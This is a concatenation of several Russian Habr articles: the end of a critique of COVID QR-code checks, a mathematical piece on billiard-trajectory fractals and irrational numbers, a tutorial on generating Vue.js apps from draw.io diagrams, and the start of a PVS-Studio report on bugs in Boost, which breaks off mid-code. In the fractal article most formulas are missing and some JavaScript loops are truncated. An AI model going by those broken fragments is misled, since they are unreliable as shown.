### 6. Проверка QR-кодов в общественном транспорте и торговых центрах – утопия
В последнее время в различных регионах вводится или же планируется ввод проверки QR-кодов в общественном транспорте и торговых центрах. Я могу предположить, что данная идея абсолютно не продумана, ибо, если проверять QR-коды как положено, то данная проверка попросту парализует деятельность общественного транспорта и торговых центров, а в случае, если создавать лишь видимость проверки, то теряется всякий смысл данной инициативы. Лицам, принимающим такие решения, могу порекомендовать перед тем, как внедрять подобные бизнес-процессы в жизнь, для начала разобраться в сути вопроса, провести хронометраж на тестовом маршруте, проверить пропускную способность и прочие значимые характеристики процесса, только потом предпринимать решительные действия. В любом случае стоит помнить, что проверка QR-кодов возможна только при наличии интернет-соединения, соответствующего программно-аппаратного обеспечения и обязательной сверке паспортных данных.
### 7. Заключение
В заключении хочется пофантазировать на тему того, как можно улучшить процесс и обеспечить его большую безопасность. Первое что можно сделать – это дать возможность пользователю сгенерировать новую версию QR-кода, сделав невалидной предыдущую, таким образом, воспользоваться чужим QR-кодом будет сложнее, дополнительно можно ограничить срок действия QR-кода определенным периодом, например, месяцем, по прошествии которого осуществлять генерацию нового QR-кода автоматически.
Как вариант, в QR-код необходимо зашивать дополнительную информацию – данные о владельце, сроке вакцинации, периоде действия, и цифровой подписи, такой QR-код можно будет проверить без интернет-соединения. Именно так сделано на Западе, например, в Канаде (Реверс-инжиниринг QR-кода для доказательства вакцинации https://habr.com/ru/company/timeweb/blog/560688/).
Как мне кажетcя, в идеальном мире, который безусловно когда-нибудь наступит, QR-код должен быть привязан не к сертификату о вакцинации, а к паспорту, тогда необходимость предъявления сертификата будет отсутствовать, любую информацию, в том числе о вакцинации, можно будет проверить отправив идентификатор паспорта в соответствующую систему. Уверен, что введение цифровых паспортов нас неминуемо ждет в скором будущем.
Хочется пожелать всем здоровья в это непростое время, а чиновникам – здравомыслия, ведь ограничить перемещение социально-незащищенных групп людей и деятельность малых предприятий гораздо проще, нежели договориться о приостановке работы на время локдауна с крупным бизнесом, аэропортами, авиакомпаниями и религиозными учреждениями, где, как нам всем известно, несмотря на массовое скопление людей, нет ни ограничений, ни проверок сертификатов о вакцинации.
**UPD:**
Развивая тему, разработал TELEGRAM-бота [@QRVisorBot](https://t.me/QRVisorBot) для чтения и генерации QR-кодов, так что, если вы по каким-то причинам не привились, то с легкостью можете сгенерировать код, содержащий произвольную информацию, не думаю, что он позволит вам обойти существующие ковидные ограничения, но им вполне можно повеселить проверяющего, кроме того, бот можно использовать для чтения кодов, в том числе с сайтов или из галереи телефона.
Если вас интересует тема разработки TELEGRAM-ботов на JAVA, то можете почитать мою новую статью [Разработка Telegram-бота на JAVA для генерации и считывания QR-кодов](https://habr.com/ru/post/591391/). | https://habr.com/ru/post/587400/ | null | ru | null |
# Фракталы в иррациональных числах
Статья является продолжением моей первой статьи [«Фракталы в простых числах»](https://habr.com/ru/post/194406/).
Следующая статья: [Фракталы в иррациональных числах. Часть 2](https://habr.com/post/447326/).
[](https://habr.com/ru/post/441516/)
В предыдущей статье мы научились рисовать самоподобные паттерны с помощью взаимно простых чисел. В этой статье покажу фрактальную природу числа .
Без предисловия. Под кат.
Определимся с терминологией и обозначениями. В математике, описанные ниже системы называют *бильярдами*. Далее будем использовать этот термин. Размеры прямоугольного бильярда будем обозначать через  (ширина) и  (высота).
### Двоичный бильярд
В предыдущей статье мы брали прямоугольный бильярд со сторонами  и , запускали в него шар и отмечали траекторию пунктирной линией через клетку:
Для взаимно простых  и  получаем паттерн:
В двоичной версии, траекторию отмечаем не пунктирной линией, а закрашивая поочередно клетки, черным и белым цветом (формируем двоичный массив, в соответствующую ячейку помещаем 0 для черного и 1 для белого):
Правила отражений на границах:
Для взаимно простых  и  траектория проходит через каждую клетку:
**Для разных M и N**Больше всего в этих паттернах удивляет то, что для разных  и  получается свой уникальный паттерн:
В статье, в качестве  и , мы используем преимущественно числа Фибоначчи. [Здесь](http://xcont.com/binarypattern/) можно нарисовать паттерны для других чисел (координат мышки).
Если стороны имеют общий делитель — тогда шар попадает в угол до того, как пройдет через каждую клетку:
Этот случай удобно рассматривать, как бильярд в прямоугольнике со сторонами  и  (НОД — наибольший общий делитель):
Прежде чем двигаться дальше, заполним таблицу предложенную пользователем [Captain1312](https://habr.com/ru/users/captain1312/) в его [статье](https://habr.com/ru/post/434156/) (стороны бильярда будем делить на НОД).
### $(1, 0)$ бит
Для каждого бильярда  и  возьмем бит с координатами .
Если  является делителем  — тогда бит с координатами  отсутствует (). В этом случае берем инвертированный бит с координатами .
Заполняем таблицу. Начало координат — левый верхний угол. По  — ширина бильярда , по  — высота . Для каждого бильярда отмечаем бит , или инвертированный бит  (к этой теме вернемся ниже).
**Немного о числах Фибоначчи**На таблице видны линии, выходящие из левого верхнего угла. Если построить такую таблицу для бита с координатами  — эти линии видно еще лучше:
Есть еще один оригинальный способ получить эти линии.
Для каждого  и , если  является делителем , построим последовательность чисел Фибоначчи:
И отметим на графике точки  и :
### Двоичная последовательность
Почему мы инвертировали бит в тех случаях, когда ширина бильярда ? Для взаимно простых  и , траектория шара проходит через каждую клетку. Между верхней и левой стенкой бильярда, шар каждый раз проходит четное количество клеток.
Биты в левом столбце — инвертированные биты из верхней строки. Нулевой бит не берем — с него начинается траектория:
Кроме того, мы можем смело выкинуть каждый второй бит из этой последовательности (бит  — инвертированный бит ):
Получили последовательность  для бильярда . Последовательность уникальная для каждого  и .
Какую бы высоту  мы не взяли — шар всегда проходит траекторию  между двумя отражениями от верхней стенки. От верхней стенки, движение всегда начинаем с «0» бита (черная клетка) и заканчиваем «1» битом (белая клетка):
Фактически, последовательность (которую мы выделили выше — ) показывает, с какой стороны прилетел шар: 1 — если шар прилетел, отразившись от правой стенки и 0 — если шар прилетел, отразившись от левой стенки. На картинке траектория шара отмечена черным, если шар двигался вправо и белым — если двигался влево:
**Это интересно**С помощью бильярда можно делить два числа в двоичной системе счисления. В момент касания верхней или нижней стенки фиксируем направление движения шара. Если шар двигался вправо — запишем 0. Если влево — запишем 1. Фиксировать будем каждое  касание шара.
Первое касание нижней стенки. Шар двигался вправо. Зафиксировали 0
Второе касание — верхней стенки. Шар двигался влево. Зафиксировали 1
Четвертое касание — верхней стенки. Шар двигался вправо. Зафиксировали 0
Восьмое касание — верхней стенки. Шар двигался вправо. Зафиксировали 0
И т.д.
Получили: 0.1001111001111001111… — это двоичная запись дроби .
Эта последовательность () содержит всю необходимую информацию о паттерне. С помощью нее мы можем восстановить исходный паттерн (и даже заглянуть за нижнюю границу паттерна). Возьмем квадрат со сторонами . Расставим биты нашей последовательности в тех местах, в которых шар ударился об верхнюю стенку (расстояние между соседними касаниями шара — 2 клетки).
Если соответсвующий бит = 1 — начинаем двигаться влево, отмечая траекторию через клетку. Если бит = 0 — двигаемся вправо.
При этом не забываем про нулевой бит:
Gif:
Получили исходный паттерн (и немного заглянули за нижнюю границу):
[Скрипт](http://xcont.com/binarypattern/visualizer/) для визуализации двоичных последовательностей
Эту последовательность мы можем построить с помощью остатков от деления.
### Одномерный бильярд
На числовой оси  возьмем две точки:  и .
Двигаясь от одной точки к другой, отмеряем расстояния :
Отметили точку. Продолжаем отмерять расстояние от этой точки, сохраняя направление. Если достигли точки  или  — меняем направление:
Как видно на рисунках выше, первая точка показывает место, где шар касается нижней стенки бильярда. Эта точка нас не интересует. Мы будем фиксировать только точки  для .
Как отметить эти точки? Развернем наш бильярд на оси . Отметим точки . Теперь достигнув точки  мы не меняем направление движения, а продолжаем двигаться к точке .
Точки, кратные , делят нашу ось на отрезки. Условно отметим эти отрезки единицами и нулями (чередуются). На отрезках, отмеченных нулями, шар (в прямоугольном бильярде) двигается слева направо. На отрезках, отмеченных единицами — справа налево. Или проще: шар двигается слева направо, если , для
*(На эту формулу следует обратить особое внимание. Далее мы к ней вернемся)*
Легко заметить, что точка, в которой шар коснулся верхней стенки бильярда — это остаток от деления  на . При этом мы можем не фиксировать движение шара в обратную сторону. Берем целую часть от деления  на , если она четная — считаем остаток от деления  на . Получившийся остаток разделим на 2 (расстояние между соседними точками касания — две клетки). Получили индексы элементов массива, которые нам надо заполнить нулями. Оставшиеся элементы заполняем единицами (шар двигался от правой стенки к левой).
Длина последовательность = .
```
function sequence(m,n){
var md=m/2;
var array=[];
for(var k=0;k 0101001011010010110101101001
```
Теперь мы можем построить двоичную последовательность для бильярда с любыми сторонами  и  (натуральными числами).
Несколько примеров:
144x89 (числа Фибоначчи):
`010100101101001011010110100101101001010010110100101101011010010110100101`
169x70 (числа Пелля):
`0101011010100101011010100101011010110101001010110101001010110101001010010101101010010`
233x55 (нечетные числа Фибоначчи  и ):
`0100100110110110010011011011001001001101100100100110110010010011011011001001101101100
10010011011001001001101100100100`
**Еще одна интересная таблица**Очень любопытные графики получаются, если взять бильярд с шириной  и построить последовательности для каждого  от  до . Далее эти последовательности сложить стопкой.
```
var array;
for(var y=1;y
```
Несколько примеров.
M=610:
M=611:
M=612:
M=613:
M=614:
[Для остальных M](http://xcont.com/binarypattern/sequences/)
Последовательности у нас есть. Как еще можно визуализировать двоичные последовательности? С помощью *Черепашьей графики*.
### Turtle graphics
Рисуем отрезок. Далее берем поочередно биты из нашей последовательности. Если бит =1 — поворачиваем отрезок относительно предыдущего на  (по часовой). Если бит = 0 — поворачиваем отрезок на . Начало следующего отрезка — конец предыдущего.
Возьмем два достаточно больших числа Фибоначчи:  и .
Построили последовательность:
00101101001011010010100101101001011010110100101101001010010110100101… (257114 символов плюс нулевой бит).
Визуализируем с помощью черепашьей графики. Размер начального отрезка — 10 пикселей (начальный отрезок в правом нижнем углу):
Размер начального отрезка — 5 пикселей:
Размер начального отрезка — 1 пиксель:
Следующий пример — числа Пелля.
Берем  и .
Последовательность:
00101001010110101001010110101001010010101101010010101101010010101101 (235415 символов плюс нулевой бит).
Размер начального отрезка — 1 пиксель:
Еще один пример — нечетные числа Фибоначчи  и .
Берем  и .
Последовательность:
00110110010010011011001001001101101100100110110110010011011011001001… (158905 плюс нулевой бит).
Вместо углов  и  будем использовать углы  и .
Размер начального отрезка — 5 пикселей:
Размер начального отрезка — 0.4 пикселя:
У этой кривой есть название — «[Fibonacci word fractal](https://en.wikipedia.org/wiki/Fibonacci_word_fractal)». Размерность Хаусдорфа для этой кривой известна:
[Скрипт для визуализации двоичных последовательностей с помощью Turtle Graphics](http://xcont.com/binarypattern/turtle/)
### Проблема
Можно ли нарисовать паттерн для бильярда, стороны которого несоизмеримы (одна из сторон — иррациональное число)? Задача нетривиальная. Пытаясь решить эту задачу, мы столкнемся с рядом вопросов:
**1.** Если стороны несоизмеримы — мы не можем замостить бильярд клетками одинаковой величины.
**2.** Если стороны несоизмеримы — шар будет бесконечно отражаться и никогда не попадет в угол.
**3.** Последовательности в бильярдах заполняются не по порядку, а хаотично.
Первые два вопроса, очевидно, не имеют решения. Но если бы существовал способ заполнить последовательность по порядку — тогда мы могли бы, двигаясь по последовательности слева направо, восстановить паттерн способом, которым мы пользовались выше. И тем самым увидеть, как выглядит паттерн в левом верхнем углу бильярда, стороны которого несоизмеримы.
### Черная магия
Возьмем бильярд, стороны которого равны числам Фибоначчи (с другими числами такой фокус может не сработать). Запустим в него шар и будем фиксировать номер касания шара у верхней стенки. Номера закрасим белым цветом — если шар двигался справа налево и черным — если шар двигался слева направо:
Белому цвету соответствует единица в последовательности, черному — ноль. Теперь расставим номера по порядку:
Получили точно такую же последовательность единиц и нулей.
**Для других чисел**Начало координат — левый верхний угол. По оси  — ширина бильярда . По оси  — высота бильярда . Белыми точками отмечены числа, для которых последовательности совпадают:
Числа, для которых последовательность инвертируется:
Закинул [скрипт](http://xcont.com/binarypattern/mouseturtle/):
Первая строка — координаты мышки, которые используются в качестве ширины и высоты бильярда.
Вторая строка — первые 100 бит последовательности, полученной через остатки от деления.
Третья строка — первые 100 бит последовательности, полученной через четность целой части.
Черный цвет — Визуализация первой последовательности с помощью Turtle graphics.
Фиолетовый — визуализация второй последовательности.
Фактически, в некоторых случаях, нам не надо брать остаток от деления. Для чисел Фибоначчи достаточно проверить четность целой части от деления  на :
В числителе у нас . В знаменателе — .
Как известно:
 — Золотое сечение. Иррациональное число. Теперь нашу формулу можем записать как:
Получили формулу, с помощью которой можем по порядку заполнять последовательность для бильярда, ширина которого равна , а высота — . Длина последовательности = , но мы можем восстанавливать часть паттерна, двигаясь слева направо по последовательности и заглянуть в верхний левый угол бильярда. Осталось разобраться, как посчитать 
Единицу деленную на золотое сечение можно переписать как:
Мы можем избавиться от двойки:
Наша формула принимает вид:
Для наглядности нарисовал таблицу. В третьей колонке отбрасываем дробную часть и оставляем целую. В четвертой колонке проверяем четность целой части:
В четвертой колонке получили нашу последовательность: 01010010110100…
Продолжаем вычислять биты для остальных . Восстанавливаем часть паттерна для бильярда со сторонами  и :
Если не отнимать каждый раз  — тогда каждый второй бит в последовательности инвертируются. Получим общую формулу:
Что нам мешает вместо квадратного корня из пяти использовать квадратный корень из трех или, скажем, из двух? Ничего.
Построим последовательность для 
```
var x=3;
var q=[];
for(var k=0;k<256000;k++) q[k]=Math.floor(k*Math.sqrt(x)+k)%2;
```
Первые несколько бит последовательности:
00100101101001001011010010110110100101101001001011010010010110100101…
Визуализировать будем с помощью черепашьей графики. Углы 90 и -90 градусов. Размер начального отрезка 5 пикселей:
Размер начального отрезка — 0.5 пикселя:
Построим последовательность для 
```
var x=2;
var q=[];
for(var k=0;k<256000;k++) q[k]=Math.floor(k*Math.sqrt(x))%2;
```
Первые несколько бит последовательности ([A083035](http://oeis.org/A083035)):
01001101100100110010011011001101100100110110011011001001100100110110…
Углы 90 и -90 градусов. Размер начального отрезка 5 пикселей:
Размер начального отрезка — 0.5 пикселя:
**Это интересно**Из этой кривой можно восстановить «бильярдный паттерн» и посмотреть, что находится вокруг кривой:
Интересно было бы подобрать  и  для этого паттерна.
**И это**Количество отрезков в повторяющейся части кривой =  (числа Пелля: 0, 1, 2, 5, 12, 29, 70, 169, 408, 985, 2378, … ).
Углы 60 и -60 градусов. Размер начального отрезка 5 пикселей:
[Скрипт для визуализации](http://xcont.com/binarypattern/sqrtturtle/)
Кто-то может засомневаться в том, что четность целой части от  дает фрактальную последовательность. Визуализируем часть этой последовательности вторым способом:
Для наглядности, закрасил самую длинную кривую в получившемся паттерне:
У этой кривой есть название — «Fibonacci word fractal».
Как с помощью бильярда получить эту последовательность? Берем бильярд, ширина которого = 1, а высота = . У верхней и нижней границы фиксируем направление движения шара. Если шар двигался слева направо — записываем 0, если справа налево — записываем 1.
Два графика:
Продолжать в том же духе можно очень долго — у паттернов есть много интересных свойств. Но статья и без того получилась слишком громоздкой. Об одном из интересных свойств расскажу напоследок.
**При просмотре картинок, у некоторых пользователей может случиться эпилептический припадок.**В двоичном бильярде мы запускали шар из левого верхнего угла и заполняли матрицу битами.
Для бильярда 610х377:
Увеличенная часть паттерна:
Если запустить второй шар из другого угла (из левого нижнего для бильярда 610х377) и отметить биты, которые совпадают для обеих траекторий — получим очень любопытный паттерн:
Совпадающие биты отмечены черными пикселями. Увеличенная часть паттерна:
Существует еще два способа нарисовать этот паттерн. Об одном из них упомянул в статье [Perfect shuffle](https://habr.com/ru/post/340964/). Второй:
Нарисуем график функции:
И отметим черными точками :
Увеличенная часть паттерна:
 | https://habr.com/ru/post/441516/ | null | ru | null |
# Как из UML диаграммы получить каркас Vue.js приложения
Здравствуйте, уважаемые Хабражители. Представляю вашему вниманию перевод статьи [From Draw.io to Vue.js app](https://codeburst.io/from-draw-io-to-vue-js-app-c0f84ede8383) автора Francesco Zuppichini.
Это моя первая публикация на Хабре и я решил начать с перевода статьи об одном классном инструменте, который позволяет сгенерировать Vue.js приложение из UML диаграммы.
Удивлены? Я был просто восхищен, когда наткнулся на него.
Конечно же, как и в любой бета версии, там есть над чем поработать. Например первым делом я связался с автором и сказал, что хочу внести исправления в структуру шаблона компонентов и именование путей. Автор вышел в течении часа на связь, выложил код на GitHub и написал небольшой туториал. После принятия PR было получено разрешение на перевод статьи, с указанием ссылки на оригинал.
Кому интересно — прошу под кат.
Из Draw.io в Vue.js приложение
==============================
Из Draw.io в Vue.js приложение
> Создание приложения должно быть таким же легким, как нарисовать граф в draw.io
>
> *Франческо Саверио*
Что, если я скажу вам, что вы можете трансформировать это:
*Граф, нарисованный в draw.io*
в это:
*Структура приложения*
Получился проект Vue.js со всеми файлами и импортами, которые вам нужны для начала создания своего клевого продукта. Круто, да?
Я сделал небольшое демо-видео, которое вы можете посмотреть здесь:
Веб-приложение — это всего лишь граф
------------------------------------
*Каждое веб-приложение может быть выражено в виде графа*
Давайте немного подумаем. Когда вы используете фреймворк, такой как React, Angular или Vue, у вас всегда есть один корневой компонент.
В нашем примере корневой компонент — это компонент *App*, все остальное — всего лишь узел графа. Мы можем идентифицировать на первом уровне *Home* и *Index nodes* как прямые дочерние элементы *App*.
Общим стандартом при разработке веб-приложений является хранение компонентов в структуре каталогов на основе графов. Поэтому обычно для каждого компонента создается каталог с тем же именем, где размещается сам компонент и все его дочерние элементы.
Например, *Index* — это корень подграфа, составленного самим собой, *User* и *Post*. Поэтому имеет смысл имитировать эту абстракцию в структурах приложения.
*Index и дочерние компоненты*
Это дает два преимущества: масштабируемость, поскольку подграфы являются независимыми, и легкое понимание структуры и логики приложения.
Кроме того, всегда можно видеть общую структуру приложения, просто глядя на граф.
От графа к приложению
---------------------
Итак, мы сказали, что каждое веб-приложение на самом деле является графом, поэтому мы можем генерировать их из него.
В конце концов, каждый файл, начинающийся с графа, прост. Вам просто нужно найти пересечение деревьев и создать каждый файл в его локальном корневом каталоге, и вы можете сделать это рекурсивно.
Возникает проблема, мы знаем, что в современных веб-приложениях компоненты импортируют и используют другие компоненты. Поэтому нам нужно связать каждый из них с его зависимостями и создать динамический шаблон, основанный на текущем языке программирования, в котором внутри него содержится правильный синтаксис для их импорта.
В JavaScript файлы импортируются примерно так:
```
import italy from 'italy' // import whole module
import { Spaghetti} from 'italy' // import a single entity in italy
```
Поэтому, чтобы перейти от графа к приложению, нам нужен создать каждый файл, поместить его в правильную позицию на основе самого графа и отобразить правильный шаблон для импорта зависимостей
Drawio2Vuejs
------------
Я создал пакет, который позволяет вам нарисовать ваше приложение в draw.io и использовать экспортированный XML-файл для создания приложения Vue.js. Он называется **graph2app-drawio2vuejs**.
Пакет можно найти здесь:
[FrancescoSaverioZuppichini/DrawIo2Vuejs](https://github.com/FrancescoSaverioZuppichini/DrawIo2Vuejs)
На самом деле, это не новая идея, я разработал **некоторое время назад** способ сделать практически то же самое, используя python:
[FrancescoSaverioZuppichini/drawIoToVuejs](https://github.com/FrancescoSaverioZuppichini/drawIoToVuejs)
Но имейте в виду, что эта **новая версия пакета npm намного лучше**.
Поэтому, прежде всего, установите пакет глобально с помощью npm:
```
$ npm i -g graph2app-drawio2vuejs
```
Теперь можно использовать его в терминале с помощью команды:
```
$ drawio2vuejs
```
Но, конечно, нужно передать несколько аргументов:
```
$ drawio2vuejs --help
Usage: drawio2vuejs [options]
scaffold Vuejs app from Draw.io
Options:
-V, --version output the version number
-d, --dist Output destination
-x, --xml xmlPath
-h, --help output usage information
```
Обязательно нужно передать путь к xml-файлу draw.io.
Пришло время рисовать! Перейдите на [draw.io](https://www.draw.io), выберите **UML** на левой панели и нажмите на **Object**:
*Объект используется для описания узла в графе*
Теперь вы можете начать с создания первого узла. Помните, что это будет ваш корневой компонент. Для моих кейсов, корневой компонент **всегда является первым узлом**, который нарисован на диаграмме.
*Наш первый узел: App*
Затем, на основе приложения, которое вы хотите создать, вы можете добавить другой узел.
*теперь у нас есть два узла!*
Теперь мы хотим, чтобы *Home* был дочерним элементом *App*. Так что нажмите на *Home* и используйте стрелку для подключения к *App*.
*Home дочерний компонент в App*
Что делать, если мы хотим также в *App* импортировать *Home* в качестве зависимости? Нажмите на *use arrow* в разделе UML слева и поместите его из *App* в *Home*.
*App импортирует Home как зависимость*
Хорошо! Вы создали свой первый граф! Давайте используем его для создания приложения Vuejs на его основе.
Мы сказали, что нам нужен файл **xml**, поэтому экспортируйте его **без сжатия**. Нажмите *Файл > Экспортировать как > XML > Сжатый (нет)*.
Теперь создайте базовое приложение Vue.js, используя командную строку Vue:
```
$ vue init webpack app
```
После того, как вы это сделаете, мы готовы сгенерировать приложение из графа:
```
$ drawio2vuejs --xml= --dist=
```
Для меня будет такая команда:
```
$ drawio2vuejs --xml=/Users/VaeVictis/Desktop/app.xml --dist=/Users/VaeVictis/Desktop/app/src
```
Если все работает правильно, вы должны увидеть следующий результат:
*результат*
Файл *App.vue* будет обновлен, поскольку он уже был там, добавив правильный импорт для *Home*. Также будет создан новый компонент *Home*. Если мы откроем *App.vue*, мы должны увидеть:
Компонент правильно импортируется, и папка *Home* с файлом *Home.vue* была правильно создана!
### graph2app
Пакет *drawio2vuejs* разработан с использованием другого пакета, который я разработал: **graph2app**.
<https://www.npmjs.com/package/graph2app-core>
Скоро я собираюсь сделать статью о этом, как применить модуль, используя три части:
* App
* GraphBuilder
* File
*App*, где основная логика, создает каталог и файлы из графа. Граф выполнен с использованием экземпляра *GraphBuilder*. В нашем случае я создал *DrawIoGraphBuilder*, который расширяет его, чтобы проанализировать XML-файл из draw.io.
[graph2app-drawio-graph-builder](https://www.npmjs.com/package/graph2app-drawio-graph-builder)
Разработчики смогут расширять базовый экземпляр для анализа графа с помощью других типов интерфейсов.
*File* — это абстракция узлов на графе. Он имеет *шаблон*, из котороо генерируется компонент. Таким образом, когда *graph2app* получает граф, ему также нужен экземпляр *File*, чтобы вызвать метод рендеринга на нем и сохранить файл правильно.
Для Vue.js я создал:
[graph2app-vue-core](https://www.npmjs.com/package/graph2app-vue-core)
Как видите, пакет имеет модульную структуру. Мы могли бы использовать тот же *DrawIoGraphBuilder* с другим экземпляром *File* для создания, например, React приложений из того же графа draw.io.
Вывод
-----
Надеюсь, вам понравится эта статья. Я твердо убежден, что визуализация приложения может повысить производительность. Библиотека по-прежнему является бета-версией, и ей нужно некоторое улучшение. Я думаю, что людям понравится эта идея и они будут способствовать развитию.
Пожалуйста, дайте мне знать о вашем мнении. Спасибо за проявленный интерес.
Франческо Саверио | https://habr.com/ru/post/344772/ | null | ru | null |
# PVS-Studio наконец то добрался до Boost
Мы уже давно хотели проверить библиотеку Boost. У нас не было уверенности, что результатов проверки хватит на статью. Однако, желание не пропадало. Два раза мы пытались сделать это, но отступали, не разобравшись, как заменить вызов компилятора на вызов PVS-Studio.exe. Теперь мы вооружились новым инструментарием, и третья попытка оказалась удачной. Итак, возможно ли найти в Boost ошибки?
Boost
-----
Boost — собрание свободно распространяемых библиотек, расширяющих функциональность C++. Проект был создан после принятия стандарта C++, когда многие были недовольны, что в стандарт не были включены некоторые библиотеки. Проект является своего рода «испытательным полигоном» для различных расширений языка, и часть библиотек являются кандидатами на включение в следующие стандарты C++. Ссылки:
* Сайт библиотеки [Boost](http://www.viva64.com/go.php?url=1271).
* Wikipedia. [Boost](http://www.viva64.com/go.php?url=1272).
* Скачать [Boost](http://www.viva64.com/go.php?url=1273).
Boost представляет собой «тяжёлый» код, в котором активно используются сложные шаблоны. Эта библиотека в каком-то смысле является тестом для компиляторов. Часто бывает, что какой-то компилятор способен скомпилировать только часть проектов из современной библиотеки Boost.
Однако, у нас проблемы возникли не с разбором кода. В крайнем случае, анализатор может позволить себе тихо пропустить совсем уж запутанную конструкцию. Нам оказалось сложно собственно интегрироваться в сборку.
Напомню существующие варианты проверки проектов с помощью PVS-Studio.
### Если есть обыкновенный проект для Visual Studio или Embarcadero C++Builder
Здесь всё просто. Анализ проекта может быть выполнен непосредственно из среды разработки. Другой вариант — запустить PVS-Studio из командной строки и на выходе получить файл с результатами проверки. Этот режим удобно использовать в системах непрерывной интеграции (например Cruise Control, Draco.NET или Team Foundation Build). Подробнее [этот режим](http://www.viva64.com/ru/d/0001/) описан в документации. О взаимодействии с системами непрерывной интеграции можно посмотреть [здесь](http://www.viva64.com/ru/d/0006/).
### Если проекта нет (или проект по сути представляет собой замаскированный makefile)
В этом случае нужно создать режим сборки, когда вместо компилятора (или вместе с ним) запускается анализатор кода. На выходе также получается файл с отчётом. Необходимые [магические заклинания](http://www.viva64.com/ru/d/0007/) также описаны в документации. При этом маг должен быть очень внимателен, подробно изучить руководство и не забыть ни одного символа.
Именно этот подход нам и следовало использовать, чтобы проверить Boost. Жаль, мы оказались магами недостаточного уровня или просто ленивыми. Не удавалось разобраться в системе сборки, чтобы передать консольной версии анализатора все необходимые параметры.
### На помощь нам пришел новый третий вариант проверки проектов
О этом новом режиме уже упоминал мой коллега в недавней заметке "[Из подвала секретной лаборатории разработчиков PVS-Studio](http://www.viva64.com/ru/b/0206/)". Не надо полноценно интегрироваться в систему сборки. Достаточно просто получить [препроцессированные \*.i файлы](http://www.viva64.com/ru/t/0076/). Это намного проще. Именно так мы и поступили.
Затем, используя прототип нового инструмента (PVS-Studio Standalone), мы выполнили анализ всех \*.i файлов и получили долгожданный отчёт. В этой же программе можно удобно работать со списком ошибок и вносить исправления в код.
Я надеюсь, мы включим этот инструмент в состав дистрибутива через несколько версий. Возможно, это произойдет в PVS-Studio 5.10.
### Пара слов о режиме, которого нет, но о котором мечтаем
Мы потихоньку подбираемся к отслеживанию действий компилятора. Этот режим также будет относиться к инструменту PVS-Studio Standalone. Будут отслеживаться все запуски компилятора и собираться ключи его запуска. Таким образом, будет достаточно выполнить следующие действия. Приказать — «следи». Собрать проект с помощью любой системы сборки. Сказать — «готово». И анализатор будет знать, как теперь проверять проект. Конечно, если структура проекта или параметры изменится, этот процесс придётся повторить. Ладно, помечтали, а теперь вернемся к проверке Boost.
Ощущение безнадежности
----------------------
Я был готов, что статью про Boost написать не получится. У этого грустного предположения были следующие предпосылки.
### Большое количество компиляторов и инструментов
Boost собирается большим количеством компиляторов. Какими-то частично, какими-то полностью. Я не проводил изучения этого вопроса. Но, как я понимаю, Boost неплохо собирается с помощью Visual C++, Intel C++, Sun Studio, Compaq C++, GCC, Clang. Каждый компилятор обладает своими уникальными диагностическими способностями. А их суммарное использование должно обеспечить очень высокое качество кода. Один компилятор найдёт ошибку A, второй ошибку B и так далее.
Более того, библиотека Boost является своего рода полигоном испытания различных инструментов и статических анализаторов кода. Поскольку в Boost активно используются различные современные возможности языка Си++, то всегда интересно знать сможет ли инструмент разобраться с таким кодом. В результате, Boost проверен и перепроверен различными анализаторами кода.
Искать ошибки и опечатки после такого количества компиляторов и других инструментов, дело почти безнадежное.
### Большое количество пользователей
Библиотека Boost используется во многих проектах. Одно время мы и сами использовали Boost в проекте PVS-Studio (тогда ещё Viva64). Использовались механизмы для работы с регулярными выражениями, с конфигурационными файлами и пара других мелочей. Потом мы поняли, что регулярные выражения это тупиковый путь, и постепенно они исчезли из кода. Таскать Boost только из-за конфигурационных файлов было сомнительно. Тем более выяснились некоторые неприятные недостатки. Например, в имени файла нельзя использовать '#'. Этот символ считается за начало комментария. В нашем конкретном случае Boost не прижился, однако, это, безусловно, очень полезная библиотека.
Так как библиотека широко используется, ошибки должны быстро обнаруживаться программистами. Ошибки могут оставаться только в редко используемых фрагментах кода или в экзотических подсистемах, у которых мало пользователей.
### Шаблоны
В Boost много шаблонных классов. Их почти невозможно проверить, если они не инстанцируются. Например ,Visual C++ вообще не разбирает шаблонные классы, если они не используются. В неиспользуемом классе можно написать любую белиберду и файл успешно скомпилируется Достаточно, чтобы соблюдалось количество открывающихся и закрывающихся скобок и кавычек (), <>, {}, [], "", ''.
Анализируя шаблонный класс, приходится идти на компромисс между количеством ложных срабатываний и пропуском ошибок. Поясню на простом примере, в чем состоит сложность.
```
template
bool IsNAN(T x) { return x != x; }
```
Эта функция определяет, является ли значение переменной «не числом» ([Not-a-Number](http://www.viva64.com/go.php?url=1269)). Эта функция имеет смысл для типов float/double/long double. Для целочисленных типов такое сравнение бессмысленно, и указывает на наличие ошибки.
Как быть, если тип неизвестен? Неразрешимый вопрос. Для полноценной проверки все шаблоны должны использоваться во всех возможных вариантах. Более того. Шаблоны нужно ещё разобрать. А это сложная задачка. Например, у PVS-Studio есть ряд проблем с этим. Что-то он может разобрать и даже попытаться инстанцировать, а что-то нет.
В любом случае анализ шаблонов очень неблагодарное дело. А в Boost их полным полно.
### Оценка шансов
Оценивая и размышляя о всём вышесказанном, я был настроен пессимистично. Я предполагал, что может вообще не найтись ничего дельного. Или найдется одна ошибка, из которой всё равно статью не сделаешь.
Найти 3-4 ошибки в Boost я посчитал бы огромным достижением.
Давайте посмотрим, что удалось найти [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) 5.06 в Boost 1.55 (скачана версия на этапе разработки).
Результаты проверки Boost
-------------------------
Ошибок или подозрительных мест конечно найдено не много. Но я считаю результат анализа просто великолепным.
### Фрагмент N1. Опечатка
```
point3D operator/(const point3D &p1, const point3D &p2)
{
return point3D( p1.x/p2.x , p1.y/p2.y , p1.z/p1.z );
}
```
Диагностическое сообщение PVS-Studio: V501 There are identical sub-expressions to the left and to the right of the '/' operator: p1.z / p1.z lorenz\_point.cpp 61
В третьем аргументе функции, переменная 'p1.z' делится на саму себя. Скорее всего, она должна делиться на 'p2.z'.
### Фрагмент N2. Ошибка инициализации членов класса
```
BOOST_UBLAS_INLINE
compressed_matrix_view(const compressed_matrix_view& o) :
size1_(size1_), size2_(size2_),
nnz_(nnz_),
index1_data_(index1_data_),
index2_data_(index2_data_),
value_data_(value_data_)
{}
```
Первое диагностическое сообщение PVS-Studio (остальные приводить нет смысла): V546 Member of a class is initialized by itself: 'size1\_(size1\_)'. sparse\_view.hpp 193
Члены класса инициализируются сами собой. И получается, что остаются неинициализированными. Наверное, должны были использоваться данные из объекта 'o'. Мне кажется, конструктор должен был выглядеть так:
```
BOOST_UBLAS_INLINE
compressed_matrix_view(const compressed_matrix_view& o) :
